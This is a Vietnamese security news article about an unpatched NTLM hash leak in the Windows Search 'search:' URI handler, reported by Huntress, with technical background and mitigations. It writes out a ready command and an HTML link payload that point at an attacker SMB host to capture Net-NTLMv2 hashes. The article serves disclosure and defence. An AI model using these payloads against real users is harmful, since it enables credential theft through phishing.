Cảnh báo nguy hiểm: Lỗ hổng NTLM Windows Search chưa vá

Một **lỗ hổng NTLM** vừa được công bố trong trình xử lý URI của Windows Search có khả năng làm rò rỉ âm thầm các hàm băm NTLMv2 tới các máy chủ do kẻ tấn công kiểm soát. Việc này có thể xảy ra chỉ với một cú nhấp chuột vào liên kết.

Hành vi này thuộc cùng lớp lỗi với **CVE-2026-33829** trong Snipping Tool, tuy nhiên Microsoft chưa gán CVE và chưa cung cấp bản vá cho biến thể này.

So Sánh Với Lỗ Hổng NTLM Trên Snipping Tool

Vào ngày **14 tháng 4 năm 2026**, Microsoft đã vá lỗi CVE-2026-33829, một vấn đề rò rỉ thông tin xác thực NTLM trong trình xử lý URI `ms-screensketch:` của Snipping Tool.

Lỗi đó cho phép kẻ tấn công cung cấp tham số `filePath` trỏ đến một đường dẫn UNC từ xa, kích hoạt xác thực SMB đi và làm lộ hàm băm **Net-NTLMv2** của nạn nhân.

Người dùng có thể bị lừa nhấp vào một liên kết tưởng chừng bình thường, và máy của họ sẽ tự động cố gắng “kiểm tra” với máy chủ SMB của kẻ tấn công.

Cơ Chế Khai Thác Lỗ Hổng NTLM Trên Windows Search

Phát hiện mới của Huntress

Huntress đã phát hiện ra rằng cùng một nguyên tắc khai thác tồn tại trong trình xử lý URI của Windows Search, sử dụng `crumb=location` thay vì `filePath`.

Tuy nhiên, kết quả vẫn là rò rỉ Net-NTLMv2 tới một điểm cuối SMB của kẻ tấn công. Điều này tạo ra một **rủi ro bảo mật** đáng kể cho người dùng Windows.

Lỗ hổng này đã được tái hiện trên **Windows 11 25H2 Pro (Build 26200.8524)** dưới tài khoản người dùng tiêu chuẩn với cài đặt Defender mặc định và không có cấu hình nhà phát triển hoặc AppX đặc biệt nào.

Kích hoạt qua Command Line Interface (CLI)

Từ một dấu nhắc lệnh, cú pháp sau đây đủ để kích hoạt việc rò rỉ hàm băm:

start "" "search:query=test&crumb=location:\\10.0.1.100\share"

Việc sử dụng dấu ngoặc kép và trình bao bọc `start “”` là cần thiết. Nếu thiếu, `cmd` sẽ phân tích ký tự `&` như một dấu phân cách lệnh, và payload sẽ bị lỗi.

Khi được kích hoạt đúng cách, Windows sẽ hiển thị hộp thoại lỗi kiểu “access denied”, nhưng chỉ sau khi hàm băm **NTLMv2** đã được gửi tới máy chủ từ xa.

Chỉ lần gọi đầu tiên cho mỗi phiên đăng nhập mới làm rò rỉ hàm băm; các lần thử tiếp theo sẽ trả về “access denied” cho đến khi người dùng đăng xuất và đăng nhập lại. Đối với các chiến dịch lừa đảo (phishing), cú nhấp chuột đầu tiên đó là tất cả những gì kẻ tấn công cần.

Khai thác qua trình duyệt web và email

Quan trọng hơn, **lỗ hổng NTLM** này không chỉ giới hạn ở các lệnh được nhập thủ công. Việc nhúng một liên kết như sau:

<a href="search:query=test&crumb=location:\\10.0.1.100\share">Nhấp vào đây</a>

Trong một trình duyệt như Microsoft Edge, chỉ cần tải URI này sẽ kích hoạt xác thực SMB và gửi hàm băm tới một kẻ tấn công đang chạy Responder trên một máy chủ từ xa. Chỉ một cú nhấp chuột, không có lời nhắc, không cần tải xuống. Đây là một phương thức **tấn công mạng** cực kỳ hiệu quả và nguy hiểm.

Phân Tích Kỹ Thuật Sâu Về Cơ Chế

Ở cấp độ thấp, cả `search` và `search-ms` đều được đăng ký riêng biệt trong `HKCR` (HKEY_CLASSES_ROOT).

Tuy nhiên, chúng chia sẻ cùng dòng lệnh và CLSID DelegateExecute, `{90b9bce2-b6db-4fd3-8451-35917ea1081b}`, ánh xạ tới lớp COM `SearchExecute` (CLSID_SearchMSExecute) trong **ExplorerFrame.dll**.

Điều đó có nghĩa là cả hai lược đồ URI này đều đi qua cùng một đường dẫn kích hoạt COM, và bất kỳ lỗi xác thực đầu vào nào trong `SearchExecute` đều ảnh hưởng đến chúng như nhau.

Một bản sửa lỗi thực sự cần phải được triển khai trong `SearchExecute` hoặc cơ chế xử lý tìm kiếm của Explorer, chứ không chỉ ở cấp độ đăng ký URI.

Varonis trước đây đã ghi lại một nguyên tắc rò rỉ NTLM dựa trên UNC thông qua `search-ms` vào năm **2024**. Trellix cũng đã ghi nhận `search:` là một bề mặt tấn công vào năm **2023**.

Tuy nhiên, sự kết hợp của `search:` trần và `crumb=location:` để rò rỉ NTLM dường như là mới trong các báo cáo công khai. Thông tin chi tiết hơn có thể tìm thấy trên blog của Huntress: Unpatched NTLM Leak in Windows Search URI Handler.

Đánh Giá Mức Độ Nghiêm Trọng Của Lỗ Hổng NTLM

Lỗ hổng mới được phát hiện trong Windows Search và CVE-2026-33829 trên Snipping Tool chia sẻ cùng một lớp lỗ hổng (rò rỉ NTLM thông qua trình xử lý URI), cùng vectơ CVSS hiệu quả và cùng xếp hạng mức độ nghiêm trọng.

• **Lớp lỗ hổng:** Rò rỉ NTLM qua trình xử lý URI.
• **Vectơ CVSS:** **AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N**
• **Mức độ nghiêm trọng:** **Moderate (Trung bình)**, do khả năng bị khai thác từ xa nhưng yêu cầu tương tác người dùng (nhấp chuột).

Mặc dù vậy, Microsoft đã chọn vá lỗi và gán CVE cho Snipping Tool, trong khi đóng trường hợp search với lý do “dưới mức hỗ trợ” và mô tả việc hỗ trợ là dựa trên ngoại lệ và “từng trường hợp”. Điều này có nghĩa là **lỗ hổng NTLM** này vẫn chưa được vá.

Các Biện Pháp Giảm Thiểu Và Phòng Ngừa Rủi Ro Bảo Mật

Huntress khuyến nghị các tổ chức nên thực hiện các biện pháp sau để bảo vệ hệ thống khỏi lớp lỗ hổng rò rỉ NTLM này, qua đó nâng cao **an ninh mạng**.

• **Chặn SMB đi (TCP 445 và 139):** Đây là biện pháp giảm thiểu giá trị cao nhất cho toàn bộ lớp rò rỉ NTLM này. Chặn các kết nối SMB đi từ các máy chủ không cần thiết.
• **Thực thi ký SMB (SMB signing):** Đảm bảo rằng tất cả các phiên SMB đều được ký điện tử, điều này giúp ngăn chặn các cuộc tấn công chuyển tiếp (relay attacks) của NTLM.
• **Hạn chế hoặc vô hiệu hóa NTLM:** Ví dụ, thiết lập `RestrictSendingNTLMTraffic` thành **2** sau khi kiểm tra cẩn thận. Biện pháp này cần được triển khai với sự thận trọng cao để tránh ảnh hưởng đến các ứng dụng phụ thuộc.
• **Cảnh báo trên URI `search:` và `search-ms:`:** Thiết lập cảnh báo trong nhật ký thư điện tử và nhật ký proxy khi phát hiện các URI này. Điều này có thể giảm đáng kể khả năng tiếp xúc với toàn bộ lớp rò rỉ NTLM này. Các **cập nhật bản vá** khi có sẵn cũng cần được ưu tiên triển khai.